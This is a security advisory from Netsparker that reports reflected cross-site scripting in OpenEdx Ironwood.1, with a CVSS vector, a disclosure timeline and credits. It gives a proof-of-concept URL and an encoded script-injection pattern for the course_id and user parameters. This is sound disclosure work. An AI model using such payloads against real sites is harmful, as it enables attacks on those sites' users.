Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx version Ironwood.1
Affected Software: OpenEdx
Affected Versions: Ironwood.1
Vulnerability: Cross site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Netsparker Advisory Reference: NS-19-014

Technical Details

URL : http://{DOMAIN}/{PATH-OF-OPENEDX}/support/certificates?course_id=%27%2balert(‘xss’)%2b%27&query=3&user=3
Parameter Name : course_id
Parameter Type : GET
Attack Pattern : %27%2balert(‘xss’)%2b%27

Parameter Name : user
Parameter Type : GET
Attack Pattern : %27%2balert(‘xss’)%2b%27

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

18th June 2019 - First Contact
19th June 2019 - Technical Details Sent
10th September 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.